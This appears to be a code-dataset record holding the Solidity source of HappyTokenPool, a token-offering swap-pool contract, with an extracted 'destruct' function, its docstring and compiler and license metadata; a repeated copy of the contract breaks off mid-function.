contract HappyTokenPool { struct Pool { uint256 packed1; // qualification_address(160) the smart contract address to verify qualification // hash(40) start_time_delta(28) // expiration_time_delta(28) BIG ENDIAN uint256 packed2; // total_tokens(128) limit(128) uint48 unlock_time; // unlock_time + base_time = real_time address creator; address token_address; // the target token address address[] exchange_addrs; // a list of ERC20 addresses for swapping uint128[] exchanged_tokens; // a list of amounts of swapped tokens uint128[] ratios; // a list of swap ratios // length = 2 * exchange_addrs.length // [address1, target, address2, target, ...] // e.g. [1, 10] // represents 1 tokenA to swap 10 target token // note: each ratio pair needs to be coprime mapping(address => uint256) swapped_map; // swapped amount of an address } struct Packed { uint256 packed1; uint256 packed2; } // swap pool filling success event event FillSuccess ( uint256 total, bytes32 id, address creator, uint256 creation_time, address token_address, string message ); // swap success event event SwapSuccess ( bytes32 id, address swapper, address from_address, address to_address, uint256 from_value, uint256 to_value ); // claim success event event ClaimSuccess ( bytes32 id, address claimer, uint256 timestamp, uint256 to_value, address token_address ); // swap pool destruct success event event DestructSuccess ( bytes32 id, address token_address, uint256 remaining_balance, uint128[] exchanged_values ); // single token withdrawl from a swap pool success even event WithdrawSuccess ( bytes32 id, address token_address, uint256 withdraw_balance ); modifier creatorOnly { require(msg.sender == contract_creator, "Contract Creator Only"); _; } using SafeERC20 for IERC20; uint32 nonce; uint224 base_time; // timestamp = base_time + delta to save gas address public contract_creator; mapping(bytes32 => Pool) pool_by_id; // maps an id to a Pool instance string constant private magic = "Prince Philip, Queen Elizabeth II's husband, has died aged 99, \ Buckingham Palace has announced. A statement issued by the palace just after midday spoke of the \ Queen's deep sorrow following his death at Windsor Castle on Friday morning. The Duke of Edinbur"; bytes32 private seed; address DEFAULT_ADDRESS = 0x0000000000000000000000000000000000000000; // a universal address constructor() { contract_creator = msg.sender; seed = keccak256(abi.encodePacked(magic, block.timestamp, contract_creator)); base_time = 1616976000; // 00:00:00 03/30/2021 GMT(UTC+0) } /** * @dev * fill_pool() creates a swap pool with specific parameters from input * _hash sha3-256(password) * _start start time delta, real start time = base_time + _start * _end end time delta, real end time = base_time + _end * message swap pool creation message, only stored in FillSuccess event * _exchange_addrs swap token list (0x0 for ETH, only supports ETH and ERC20 now) * _ratios swap pair ratio list * _unlock_time unlock time delta real unlock time = base_time + _unlock_time * _token_addr swap target token address * _total_tokens target token total swap amount * _limit target token single swap limit * _qualification the qualification contract address based on IQLF to determine qualification * This function takes the above parameters and creates the pool. _total_tokens of the target token * will be successfully transferred to this contract securely on a successful run of this function. **/ function fill_pool (bytes32 _hash, uint256 _start, uint256 _end, string memory message, address[] memory _exchange_addrs, uint128[] memory _ratios, uint256 _unlock_time, address _token_addr, uint256 _total_tokens, uint256 _limit, address _qualification) public payable { nonce ++; require(_start < _end, "Start time should be earlier than end time."); require(_end < _unlock_time || _unlock_time == 0, "End time should be earlier than unlock time"); require(_limit <= _total_tokens, "Limit needs to be less than or equal to the total supply"); require(_total_tokens < 2 ** 128, "No more than 2^128 tokens(incluidng decimals) allowed"); require(IERC20(_token_addr).allowance(msg.sender, address(this)) >= _total_tokens, "Insuffcient allowance"); require(_exchange_addrs.length > 0, "Exchange token addresses need to be set"); require(_ratios.length == 2 * _exchange_addrs.length, "Size of ratios = 2 * size of exchange_addrs"); bytes32 _id = keccak256(abi.encodePacked(msg.sender, block.timestamp, nonce, seed)); Pool storage pool = pool_by_id[_id]; pool.packed1 = wrap1(_qualification, _hash, _start, _end); // 256 bytes detail in wrap1() pool.packed2 = wrap2(_total_tokens, _limit); // 256 bytes detail in wrap2() pool.unlock_time = uint48(_unlock_time); // 48 bytes unlock_time 0 -> unlocked pool.creator = msg.sender; // 160 bytes pool creator pool.exchange_addrs = _exchange_addrs; // 160 bytes target token pool.token_address = _token_addr; // 160 bytes target token address // Init each token swapped amount to 0 for (uint256 i = 0; i < _exchange_addrs.length; i++) { if (_exchange_addrs[i] != DEFAULT_ADDRESS) { // TODO: Is there a better way to validate an ERC20? require(IERC20(_exchange_addrs[i]).totalSupply() > 0, "Not a valid ERC20"); } pool.exchanged_tokens.push(0); } // Make sure each ratio is co-prime to prevent overflow for (uint256 i = 0; i < _ratios.length; i+= 2) { uint256 divA = SafeMath.div(_ratios[i], _ratios[i+1]); // Non-zero checked by SafteMath.div uint256 divB = SafeMath.div(_ratios[i+1], _ratios[i]); // Non-zero checked by SafteMath.div if (_ratios[i] == 1) { require(divB == _ratios[i+1]); } else if (_ratios[i+1] == 1) { require(divA == _ratios[i]); } else { // if a and b are co-prime, then a / b * b != a and b / a * a != b require(divA * _ratios[i+1] != _ratios[i]); require(divB * _ratios[i] != _ratios[i+1]); } } pool.ratios = _ratios; // 256 * k IERC20(_token_addr).safeTransferFrom(msg.sender, address(this), _total_tokens); emit FillSuccess(_total_tokens, _id, msg.sender, block.timestamp, _token_addr, message); } /** * @dev * swap() allows users to swap tokens in a swap pool * id swap pool id * verification sha3-256(sha3-256(password)[:40]+swapper_address) * validation sha3-256(swapper_address) * exchange_addr_i the index of the exchange address of the list * input_total the input amount of the specific token * This function is called by the swapper who approves the specific ERC20 or directly transfer the ETH * first and wants to swap the desired amount of the target token. The swapped amount is calculated * based on the pool ratio. After swap successfully, the same account can not swap the same pool again. **/ function swap (bytes32 id, bytes32 verification, bytes32 validation, uint256 exchange_addr_i, uint128 input_total) public payable returns (uint256 swapped) { Pool storage pool = pool_by_id[id]; Packed memory packed = Packed(pool.packed1, pool.packed2); require ( IQLF( address( uint160(unbox(packed.packed1, 0, 160))) ).logQualified(msg.sender, uint256(unbox(packed.packed1, 200, 28) + base_time) ) == true, "Not Qualified" ); require (unbox(packed.packed1, 200, 28) + base_time < block.timestamp, "Not started."); require (unbox(packed.packed1, 228, 28) + base_time > block.timestamp, "Expired."); // sha3(sha3(passowrd)[:40] + msg.sender) so that the raw password will never appear in the contract require (verification == keccak256(abi.encodePacked(unbox(packed.packed1, 160, 40), msg.sender)), 'Wrong Password'); // sha3(msg.sender) to protect from front runs (but this is kinda naive since the contract is open sourced) require (validation == keccak256(abi.encodePacked(msg.sender)), "Validation Failed"); uint256 total_tokens = unbox(packed.packed2, 0, 128); // revert if the pool is empty require (total_tokens > 0, "Out of Stock"); address exchange_addr = pool.exchange_addrs[exchange_addr_i]; uint256 ratioA = pool.ratios[exchange_addr_i*2]; uint256 ratioB = pool.ratios[exchange_addr_i*2 + 1]; // check if the input is enough for the desired transfer if (exchange_addr == DEFAULT_ADDRESS) { require(msg.value == input_total, 'No enough ether.'); } else { uint256 allowance = IERC20(exchange_addr).allowance(msg.sender, address(this)); require(allowance >= input_total, 'No enough allowance.'); } uint256 swapped_tokens; // this calculation won't be overflow thanks to the SafeMath and the co-prime test swapped_tokens = SafeMath.div(SafeMath.mul(input_total, ratioB), ratioA); // 2^256=10e77 >> 10e18 * 10e18 require(swapped_tokens > 0, "Better not draw water with a sieve"); uint256 limit = unbox(packed.packed2, 128, 128); if (swapped_tokens > limit) { // don't be greedy - you can only get at most limit tokens swapped_tokens = limit; input_total = uint128(SafeMath.div(SafeMath.mul(limit, ratioA), ratioB)); // Update input_total } else if (swapped_tokens > total_tokens) { // if the left tokens are not enough swapped_tokens = total_tokens; input_total = uint128(SafeMath.div(SafeMath.mul(total_tokens, ratioA), ratioB)); // Update input_total // return the eth if (exchange_addr == DEFAULT_ADDRESS) payable(msg.sender).transfer(msg.value - input_total); } require(swapped_tokens <= limit); // make sure again pool.exchanged_tokens[exchange_addr_i] = uint128(SafeMath.add(pool.exchanged_tokens[exchange_addr_i], input_total)); // update exchanged // penalize greedy attackers by placing duplication check at the very last require (pool.swapped_map[msg.sender] == 0, "Already swapped"); // update the remaining tokens and swapped token mapping pool.packed2 = rewriteBox(packed.packed2, 0, 128, SafeMath.sub(total_tokens, swapped_tokens)); pool.swapped_map[msg.sender] = swapped_tokens; // transfer the token after state changing // ETH comes with the tx, but ERC20 does not - INPUT if (exchange_addr != DEFAULT_ADDRESS) { IERC20(exchange_addr).safeTransferFrom(msg.sender, address(this), input_total); } // Swap success event emit SwapSuccess(id, msg.sender, exchange_addr, pool.token_address, input_total, swapped_tokens); // if unlock_time == 0, transfer the swapped tokens to the recipient address (msg.sender) - OUTPUT // if not, claim() needs to be called to get the token if (pool.unlock_time == 0) { transfer_token(pool.token_address, address(this), msg.sender, swapped_tokens); emit ClaimSuccess(id, msg.sender, block.timestamp, swapped_tokens, pool.token_address); } return swapped_tokens; } /** * check_availability() returns a bunch of pool info given a pool id * id swap pool id * this function returns 1. exchange_addrs that can be used to determine the index * 2. remaining target tokens * 3. if started * 4. if ended * 5. swapped amount of the query address * 5. exchanged amount of each token **/ function check_availability (bytes32 id) external view returns (address[] memory exchange_addrs, uint256 remaining, bool started, bool expired, bool unlocked, uint256 unlock_time, uint256 swapped, uint128[] memory exchanged_tokens) { Pool storage pool = pool_by_id[id]; return ( pool.exchange_addrs, // exchange_addrs 0x0 means destructed unbox(pool.packed2, 0, 128), // remaining block.timestamp > unbox(pool.packed1, 200, 28) + base_time, // started block.timestamp > unbox(pool.packed1, 228, 28) + base_time, // expired block.timestamp > pool.unlock_time + base_time, // unlocked pool.unlock_time + base_time, // unlock_time pool.swapped_map[msg.sender], // swapped number pool.exchanged_tokens // exchanged tokens ); } function claim(bytes32[] memory ito_ids) public { uint256 claimed_amount; for (uint256 i = 0; i < ito_ids.length; i++) { Pool storage pool = pool_by_id[ito_ids[i]]; if (pool.unlock_time + base_time > block.timestamp) continue; claimed_amount = pool.swapped_map[msg.sender]; if (claimed_amount == 0) continue; pool.swapped_map[msg.sender] = 0; transfer_token(pool.token_address, address(this), msg.sender, claimed_amount); emit ClaimSuccess(ito_ids[i], msg.sender, block.timestamp, claimed_amount, pool.token_address); } } function setUnlockTime(bytes32 id, uint256 _unlock_time) public { Pool storage pool = pool_by_id[id]; require(pool.creator == msg.sender, "Pool Creator Only"); pool.unlock_time = uint48(_unlock_time); } /** * destruct() destructs the given pool given the pool id * id swap pool id * this function can only be called by the pool creator. after validation, it transfers all the remaining token * (if any) and all the swapped tokens to the pool creator. it will then destruct the pool by reseting almost * all the variables to zero to get the gas refund. * note that this function may not work if a pool needs to transfer over ~200 tokens back to the address due to * the block gas limit. we have another function withdraw() to help the pool creator to withdraw a single token **/ function destruct (bytes32 id) public { Pool storage pool = pool_by_id[id]; require(msg.sender == pool.creator, "Only the pool creator can destruct."); uint256 expiration = unbox(pool.packed1, 228, 28) + base_time; uint256 remaining_tokens = unbox(pool.packed2, 0, 128); // only after expiration or the pool is empty require(expiration <= block.timestamp || remaining_tokens == 0, "Not expired yet"); // if any left in the pool if (remaining_tokens != 0) { transfer_token(pool.token_address, address(this), msg.sender, remaining_tokens); } // transfer the swapped tokens accordingly // note this loop may exceed the block gas limit so if >200 exchange_addrs this may not work for (uint256 i = 0; i < pool.exchange_addrs.length; i++) { if (pool.exchanged_tokens[i] > 0) { // ERC20 if (pool.exchange_addrs[i] != DEFAULT_ADDRESS) transfer_token(pool.exchange_addrs[i], address(this), msg.sender, pool.exchanged_tokens[i]); // ETH else payable(msg.sender).transfer(pool.exchanged_tokens[i]); } } emit DestructSuccess(id, pool.token_address, remaining_tokens, pool.exchanged_tokens); // Gas Refund pool.packed1 = 0; pool.packed2 = 0; pool.creator = DEFAULT_ADDRESS; for (uint256 i = 0; i < pool.exchange_addrs.length; i++) { pool.exchange_addrs[i] = DEFAULT_ADDRESS; pool.exchanged_tokens[i] = 0; pool.ratios[i*2] = 0; pool.ratios[i*2+1] = 0; } } /** * withdraw() transfers out a single token after a pool is expired or empty * id swap pool id * addr_i withdraw token index * this function can only be called by the pool creator. after validation, it transfers the addr_i th token * out to the pool creator address. **/ function withdraw (bytes32 id, uint256 addr_i) public { Pool storage pool = pool_by_id[id]; require(msg.sender == pool.creator, "Only the pool creator can withdraw."); uint256 withdraw_balance = pool.exchanged_tokens[addr_i]; require(withdraw_balance > 0, "None of this token left"); uint256 expiration = unbox(pool.packed1, 228, 28) + base_time; uint256 remaining_tokens = unbox(pool.packed2, 0, 128); // only after expiration or the pool is empty require(expiration <= block.timestamp || remaining_tokens == 0, "Not expired yet"); address token_address = pool.exchange_addrs[addr_i]; // ERC20 if (token_address != DEFAULT_ADDRESS) transfer_token(token_address, address(this), msg.sender, withdraw_balance); // ETH else payable(msg.sender).transfer(withdraw_balance); // clear the record pool.exchanged_tokens[addr_i] = 0; emit WithdrawSuccess(id, token_address, withdraw_balance); } // helper functions TODO: migrate this to a helper file /** * _qualification the smart contract address to verify qualification 160 * _hash sha3-256(password) 40 * _start start time delta 28 * _end end time delta 28 * wrap1() inserts the above variables into a 32-word block **/ function wrap1 (address _qualification, bytes32 _hash, uint256 _start, uint256 _end) internal pure returns (uint256 packed1) { uint256 _packed1 = 0; _packed1 |= box(0, 160, uint256(uint160(_qualification))); // _qualification = 160 bits _packed1 |= box(160, 40, uint256(_hash) >> 216); // hash = 40 bits (safe?) _packed1 |= box(200, 28, _start); // start_time = 28 bits _packed1 |= box(228, 28, _end); // expiration_time = 28 bits return _packed1; } /** * _total_tokens target remaining 128 * _limit single swap limit 128 * wrap2() inserts the above variables into a 32-word block **/ function wrap2 (uint256 _total_tokens, uint256 _limit) internal pure returns (uint256 packed2) { uint256 _packed2 = 0; _packed2 |= box(0, 128, _total_tokens); // total_tokens = 128 bits ~= 3.4e38 _packed2 |= box(128, 128, _limit); // limit = 128 bits return _packed2; } /** * position position in a memory block * size data size * data data * box() inserts the data in a 256bit word with the given position and returns it * data is checked by validRange() to make sure it is not over size **/ function box (uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) { require(validRange(size, data), "Value out of range BOX"); assembly { // data << position boxed := shl(position, data) } } /** * position position in a memory block * size data size * base base data * unbox() extracts the data out of a 256bit word with the given position and returns it * base is checked by validRange() to make sure it is not over size **/ function unbox (uint256 base, uint16 position, uint16 size) internal pure returns (uint256 unboxed) { require(validRange(256, base), "Value out of range UNBOX"); assembly { // (((1 << size) - 1) & base >> position) unboxed := and(sub(shl(size, 1), 1), shr(position, base)) } } /** * size data size * data data * validRange() checks if the given data is over the specified data size **/ function validRange (uint16 size, uint256 data) internal pure returns(bool ifValid) { assembly { // 2^size > data or size ==256 ifValid := or(eq(size, 256), gt(shl(size, 1), data)) } } /** * _box 32byte data to be modified * position position in a memory block * size data size * data data to be inserted * rewriteBox() updates a 32byte word with a data at the given position with the specified size **/ function rewriteBox (uint256 _box, uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) { assembly { // mask = ~((1 << size - 1) << position) // _box = (mask & _box) | ()data << position) boxed := or( and(_box, not(shl(position, sub(shl(size, 1), 1)))), shl(position, data)) } } /** * token_address ERC20 address * sender_address sender address * recipient_address recipient address * amount transfer amount * transfer_token() transfers a given amount of ERC20 from the sender address to the recipient address **/ function transfer_token (address token_address, address sender_address, address recipient_address, uint256 amount) internal { require(IERC20(token_address).balanceOf(sender_address) >= amount, "Balance not enough"); IERC20(token_address).safeTransfer(recipient_address, amount); } }
destruct
function destruct (bytes32 id) public { Pool storage pool = pool_by_id[id]; require(msg.sender == pool.creator, "Only the pool creator can destruct."); uint256 expiration = unbox(pool.packed1, 228, 28) + base_time; uint256 remaining_tokens = unbox(pool.packed2, 0, 128); // only after expiration or the pool is empty require(expiration <= block.timestamp || remaining_tokens == 0, "Not expired yet"); // if any left in the pool if (remaining_tokens != 0) { transfer_token(pool.token_address, address(this), msg.sender, remaining_tokens); } // transfer the swapped tokens accordingly // note this loop may exceed the block gas limit so if >200 exchange_addrs this may not work for (uint256 i = 0; i < pool.exchange_addrs.length; i++) { if (pool.exchanged_tokens[i] > 0) { // ERC20 if (pool.exchange_addrs[i] != DEFAULT_ADDRESS) transfer_token(pool.exchange_addrs[i], address(this), msg.sender, pool.exchanged_tokens[i]); // ETH else payable(msg.sender).transfer(pool.exchanged_tokens[i]); } } emit DestructSuccess(id, pool.token_address, remaining_tokens, pool.exchanged_tokens); // Gas Refund pool.packed1 = 0; pool.packed2 = 0; pool.creator = DEFAULT_ADDRESS; for (uint256 i = 0; i < pool.exchange_addrs.length; i++) { pool.exchange_addrs[i] = DEFAULT_ADDRESS; pool.exchanged_tokens[i] = 0; pool.ratios[i*2] = 0; pool.ratios[i*2+1] = 0; } }
/** * destruct() destructs the given pool given the pool id * id swap pool id * this function can only be called by the pool creator. after validation, it transfers all the remaining token * (if any) and all the swapped tokens to the pool creator. it will then destruct the pool by reseting almost * all the variables to zero to get the gas refund. * note that this function may not work if a pool needs to transfer over ~200 tokens back to the address due to * the block gas limit. we have another function withdraw() to help the pool creator to withdraw a single token **/
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://514567ac97ce2a52346891fb1fa79398719dfc3625c962f89ef81e693295dbc7
{ "func_code_index": [ 16542, 18290 ] }
12,422
HappyTokenPool
contracts/ito.sol
0x198457da5e7f7b7fd916006837417dcf663f692d
Solidity
HappyTokenPool
contract HappyTokenPool { struct Pool { uint256 packed1; // qualification_address(160) the smart contract address to verify qualification // hash(40) start_time_delta(28) // expiration_time_delta(28) BIG ENDIAN uint256 packed2; // total_tokens(128) limit(128) uint48 unlock_time; // unlock_time + base_time = real_time address creator; address token_address; // the target token address address[] exchange_addrs; // a list of ERC20 addresses for swapping uint128[] exchanged_tokens; // a list of amounts of swapped tokens uint128[] ratios; // a list of swap ratios // length = 2 * exchange_addrs.length // [address1, target, address2, target, ...] // e.g. [1, 10] // represents 1 tokenA to swap 10 target token // note: each ratio pair needs to be coprime mapping(address => uint256) swapped_map; // swapped amount of an address } struct Packed { uint256 packed1; uint256 packed2; } // swap pool filling success event event FillSuccess ( uint256 total, bytes32 id, address creator, uint256 creation_time, address token_address, string message ); // swap success event event SwapSuccess ( bytes32 id, address swapper, address from_address, address to_address, uint256 from_value, uint256 to_value ); // claim success event event ClaimSuccess ( bytes32 id, address claimer, uint256 timestamp, uint256 to_value, address token_address ); // swap pool destruct success event event DestructSuccess ( bytes32 id, address token_address, uint256 remaining_balance, uint128[] exchanged_values ); // single token withdrawl from a swap pool success even event WithdrawSuccess ( bytes32 id, address token_address, uint256 withdraw_balance ); modifier creatorOnly { require(msg.sender == contract_creator, "Contract Creator Only"); _; } using SafeERC20 for IERC20; uint32 nonce; uint224 base_time; // timestamp = base_time + delta to save gas address public contract_creator; mapping(bytes32 => Pool) pool_by_id; // maps an id to a Pool instance string constant private magic = "Prince Philip, Queen Elizabeth II's husband, has died aged 99, \ Buckingham Palace has announced. A statement issued by the palace just after midday spoke of the \ Queen's deep sorrow following his death at Windsor Castle on Friday morning. The Duke of Edinbur"; bytes32 private seed; address DEFAULT_ADDRESS = 0x0000000000000000000000000000000000000000; // a universal address constructor() { contract_creator = msg.sender; seed = keccak256(abi.encodePacked(magic, block.timestamp, contract_creator)); base_time = 1616976000; // 00:00:00 03/30/2021 GMT(UTC+0) } /** * @dev * fill_pool() creates a swap pool with specific parameters from input * _hash sha3-256(password) * _start start time delta, real start time = base_time + _start * _end end time delta, real end time = base_time + _end * message swap pool creation message, only stored in FillSuccess event * _exchange_addrs swap token list (0x0 for ETH, only supports ETH and ERC20 now) * _ratios swap pair ratio list * _unlock_time unlock time delta real unlock time = base_time + _unlock_time * _token_addr swap target token address * _total_tokens target token total swap amount * _limit target token single swap limit * _qualification the qualification contract address based on IQLF to determine qualification * This function takes the above parameters and creates the pool. _total_tokens of the target token * will be successfully transferred to this contract securely on a successful run of this function. **/ function fill_pool (bytes32 _hash, uint256 _start, uint256 _end, string memory message, address[] memory _exchange_addrs, uint128[] memory _ratios, uint256 _unlock_time, address _token_addr, uint256 _total_tokens, uint256 _limit, address _qualification) public payable { nonce ++; require(_start < _end, "Start time should be earlier than end time."); require(_end < _unlock_time || _unlock_time == 0, "End time should be earlier than unlock time"); require(_limit <= _total_tokens, "Limit needs to be less than or equal to the total supply"); require(_total_tokens < 2 ** 128, "No more than 2^128 tokens(incluidng decimals) allowed"); require(IERC20(_token_addr).allowance(msg.sender, address(this)) >= _total_tokens, "Insuffcient allowance"); require(_exchange_addrs.length > 0, "Exchange token addresses need to be set"); require(_ratios.length == 2 * _exchange_addrs.length, "Size of ratios = 2 * size of exchange_addrs"); bytes32 _id = keccak256(abi.encodePacked(msg.sender, block.timestamp, nonce, seed)); Pool storage pool = pool_by_id[_id]; pool.packed1 = wrap1(_qualification, _hash, _start, _end); // 256 bytes detail in wrap1() pool.packed2 = wrap2(_total_tokens, _limit); // 256 bytes detail in wrap2() pool.unlock_time = uint48(_unlock_time); // 48 bytes unlock_time 0 -> unlocked pool.creator = msg.sender; // 160 bytes pool creator pool.exchange_addrs = _exchange_addrs; // 160 bytes target token pool.token_address = _token_addr; // 160 bytes target token address // Init each token swapped amount to 0 for (uint256 i = 0; i < _exchange_addrs.length; i++) { if (_exchange_addrs[i] != DEFAULT_ADDRESS) { // TODO: Is there a better way to validate an ERC20? require(IERC20(_exchange_addrs[i]).totalSupply() > 0, "Not a valid ERC20"); } pool.exchanged_tokens.push(0); } // Make sure each ratio is co-prime to prevent overflow for (uint256 i = 0; i < _ratios.length; i+= 2) { uint256 divA = SafeMath.div(_ratios[i], _ratios[i+1]); // Non-zero checked by SafteMath.div uint256 divB = SafeMath.div(_ratios[i+1], _ratios[i]); // Non-zero checked by SafteMath.div if (_ratios[i] == 1) { require(divB == _ratios[i+1]); } else if (_ratios[i+1] == 1) { require(divA == _ratios[i]); } else { // if a and b are co-prime, then a / b * b != a and b / a * a != b require(divA * _ratios[i+1] != _ratios[i]); require(divB * _ratios[i] != _ratios[i+1]); } } pool.ratios = _ratios; // 256 * k IERC20(_token_addr).safeTransferFrom(msg.sender, address(this), _total_tokens); emit FillSuccess(_total_tokens, _id, msg.sender, block.timestamp, _token_addr, message); } /** * @dev * swap() allows users to swap tokens in a swap pool * id swap pool id * verification sha3-256(sha3-256(password)[:40]+swapper_address) * validation sha3-256(swapper_address) * exchange_addr_i the index of the exchange address of the list * input_total the input amount of the specific token * This function is called by the swapper who approves the specific ERC20 or directly transfer the ETH * first and wants to swap the desired amount of the target token. The swapped amount is calculated * based on the pool ratio. After swap successfully, the same account can not swap the same pool again. **/ function swap (bytes32 id, bytes32 verification, bytes32 validation, uint256 exchange_addr_i, uint128 input_total) public payable returns (uint256 swapped) { Pool storage pool = pool_by_id[id]; Packed memory packed = Packed(pool.packed1, pool.packed2); require ( IQLF( address( uint160(unbox(packed.packed1, 0, 160))) ).logQualified(msg.sender, uint256(unbox(packed.packed1, 200, 28) + base_time) ) == true, "Not Qualified" ); require (unbox(packed.packed1, 200, 28) + base_time < block.timestamp, "Not started."); require (unbox(packed.packed1, 228, 28) + base_time > block.timestamp, "Expired."); // sha3(sha3(passowrd)[:40] + msg.sender) so that the raw password will never appear in the contract require (verification == keccak256(abi.encodePacked(unbox(packed.packed1, 160, 40), msg.sender)), 'Wrong Password'); // sha3(msg.sender) to protect from front runs (but this is kinda naive since the contract is open sourced) require (validation == keccak256(abi.encodePacked(msg.sender)), "Validation Failed"); uint256 total_tokens = unbox(packed.packed2, 0, 128); // revert if the pool is empty require (total_tokens > 0, "Out of Stock"); address exchange_addr = pool.exchange_addrs[exchange_addr_i]; uint256 ratioA = pool.ratios[exchange_addr_i*2]; uint256 ratioB = pool.ratios[exchange_addr_i*2 + 1]; // check if the input is enough for the desired transfer if (exchange_addr == DEFAULT_ADDRESS) { require(msg.value == input_total, 'No enough ether.'); } else { uint256 allowance = IERC20(exchange_addr).allowance(msg.sender, address(this)); require(allowance >= input_total, 'No enough allowance.'); } uint256 swapped_tokens; // this calculation won't be overflow thanks to the SafeMath and the co-prime test swapped_tokens = SafeMath.div(SafeMath.mul(input_total, ratioB), ratioA); // 2^256=10e77 >> 10e18 * 10e18 require(swapped_tokens > 0, "Better not draw water with a sieve"); uint256 limit = unbox(packed.packed2, 128, 128); if (swapped_tokens > limit) { // don't be greedy - you can only get at most limit tokens swapped_tokens = limit; input_total = uint128(SafeMath.div(SafeMath.mul(limit, ratioA), ratioB)); // Update input_total } else if (swapped_tokens > total_tokens) { // if the left tokens are not enough swapped_tokens = total_tokens; input_total = uint128(SafeMath.div(SafeMath.mul(total_tokens, ratioA), ratioB)); // Update input_total // return the eth if (exchange_addr == DEFAULT_ADDRESS) payable(msg.sender).transfer(msg.value - input_total); } require(swapped_tokens <= limit); // make sure again pool.exchanged_tokens[exchange_addr_i] = uint128(SafeMath.add(pool.exchanged_tokens[exchange_addr_i], input_total)); // update exchanged // penalize greedy attackers by placing duplication check at the very last require (pool.swapped_map[msg.sender] == 0, "Already swapped"); // update the remaining tokens and swapped token mapping pool.packed2 = rewriteBox(packed.packed2, 0, 128, SafeMath.sub(total_tokens, swapped_tokens)); pool.swapped_map[msg.sender] = swapped_tokens; // transfer the token after state changing // ETH comes with the tx, but ERC20 does not - INPUT if (exchange_addr != DEFAULT_ADDRESS) { IERC20(exchange_addr).safeTransferFrom(msg.sender, address(this), input_total); } // Swap success event emit SwapSuccess(id, msg.sender, exchange_addr, pool.token_address, input_total, swapped_tokens); // if unlock_time == 0, transfer the swapped tokens to the recipient address (msg.sender) - OUTPUT // if not, claim() needs to be called to get the token if (pool.unlock_time == 0) { transfer_token(pool.token_address, address(this), msg.sender, swapped_tokens); emit ClaimSuccess(id, msg.sender, block.timestamp, swapped_tokens, pool.token_address); } return swapped_tokens; } /** * check_availability() returns a bunch of pool info given a pool id * id swap pool id * this function returns 1. exchange_addrs that can be used to determine the index * 2. remaining target tokens * 3. if started * 4. if ended * 5. swapped amount of the query address * 5. exchanged amount of each token **/ function check_availability (bytes32 id) external view returns (address[] memory exchange_addrs, uint256 remaining, bool started, bool expired, bool unlocked, uint256 unlock_time, uint256 swapped, uint128[] memory exchanged_tokens) { Pool storage pool = pool_by_id[id]; return ( pool.exchange_addrs, // exchange_addrs 0x0 means destructed unbox(pool.packed2, 0, 128), // remaining block.timestamp > unbox(pool.packed1, 200, 28) + base_time, // started block.timestamp > unbox(pool.packed1, 228, 28) + base_time, // expired block.timestamp > pool.unlock_time + base_time, // unlocked pool.unlock_time + base_time, // unlock_time pool.swapped_map[msg.sender], // swapped number pool.exchanged_tokens // exchanged tokens ); } function claim(bytes32[] memory ito_ids) public { uint256 claimed_amount; for (uint256 i = 0; i < ito_ids.length; i++) { Pool storage pool = pool_by_id[ito_ids[i]]; if (pool.unlock_time + base_time > block.timestamp) continue; claimed_amount = pool.swapped_map[msg.sender]; if (claimed_amount == 0) continue; pool.swapped_map[msg.sender] = 0; transfer_token(pool.token_address, address(this), msg.sender, claimed_amount); emit ClaimSuccess(ito_ids[i], msg.sender, block.timestamp, claimed_amount, pool.token_address); } } function setUnlockTime(bytes32 id, uint256 _unlock_time) public { Pool storage pool = pool_by_id[id]; require(pool.creator == msg.sender, "Pool Creator Only"); pool.unlock_time = uint48(_unlock_time); } /** * destruct() destructs the given pool given the pool id * id swap pool id * this function can only be called by the pool creator. after validation, it transfers all the remaining token * (if any) and all the swapped tokens to the pool creator. it will then destruct the pool by reseting almost * all the variables to zero to get the gas refund. * note that this function may not work if a pool needs to transfer over ~200 tokens back to the address due to * the block gas limit. we have another function withdraw() to help the pool creator to withdraw a single token **/ function destruct (bytes32 id) public { Pool storage pool = pool_by_id[id]; require(msg.sender == pool.creator, "Only the pool creator can destruct."); uint256 expiration = unbox(pool.packed1, 228, 28) + base_time; uint256 remaining_tokens = unbox(pool.packed2, 0, 128); // only after expiration or the pool is empty require(expiration <= block.timestamp || remaining_tokens == 0, "Not expired yet"); // if any left in the pool if (remaining_tokens != 0) { transfer_token(pool.token_address, address(this), msg.sender, remaining_tokens); } // transfer the swapped tokens accordingly // note this loop may exceed the block gas limit so if >200 exchange_addrs this may not work for (uint256 i = 0; i < pool.exchange_addrs.length; i++) { if (pool.exchanged_tokens[i] > 0) { // ERC20 if (pool.exchange_addrs[i] != DEFAULT_ADDRESS) transfer_token(pool.exchange_addrs[i], address(this), msg.sender, pool.exchanged_tokens[i]); // ETH else payable(msg.sender).transfer(pool.exchanged_tokens[i]); } } emit DestructSuccess(id, pool.token_address, remaining_tokens, pool.exchanged_tokens); // Gas Refund pool.packed1 = 0; pool.packed2 = 0; pool.creator = DEFAULT_ADDRESS; for (uint256 i = 0; i < pool.exchange_addrs.length; i++) { pool.exchange_addrs[i] = DEFAULT_ADDRESS; pool.exchanged_tokens[i] = 0; pool.ratios[i*2] = 0; pool.ratios[i*2+1] = 0; } } /** * withdraw() transfers out a single token after a pool is expired or empty * id swap pool id * addr_i withdraw token index * this function can only be called by the pool creator. after validation, it transfers the addr_i th token * out to the pool creator address. **/ function withdraw (bytes32 id, uint256 addr_i) public { Pool storage pool = pool_by_id[id]; require(msg.sender == pool.creator, "Only the pool creator can withdraw."); uint256 withdraw_balance = pool.exchanged_tokens[addr_i]; require(withdraw_balance > 0, "None of this token left"); uint256 expiration = unbox(pool.packed1, 228, 28) + base_time; uint256 remaining_tokens = unbox(pool.packed2, 0, 128); // only after expiration or the pool is empty require(expiration <= block.timestamp || remaining_tokens == 0, "Not expired yet"); address token_address = pool.exchange_addrs[addr_i]; // ERC20 if (token_address != DEFAULT_ADDRESS) transfer_token(token_address, address(this), msg.sender, withdraw_balance); // ETH else payable(msg.sender).transfer(withdraw_balance); // clear the record pool.exchanged_tokens[addr_i] = 0; emit WithdrawSuccess(id, token_address, withdraw_balance); } // helper functions TODO: migrate this to a helper file /** * _qualification the smart contract address to verify qualification 160 * _hash sha3-256(password) 40 * _start start time delta 28 * _end end time delta 28 * wrap1() inserts the above variables into a 32-word block **/ function wrap1 (address _qualification, bytes32 _hash, uint256 _start, uint256 _end) internal pure returns (uint256 packed1) { uint256 _packed1 = 0; _packed1 |= box(0, 160, uint256(uint160(_qualification))); // _qualification = 160 bits _packed1 |= box(160, 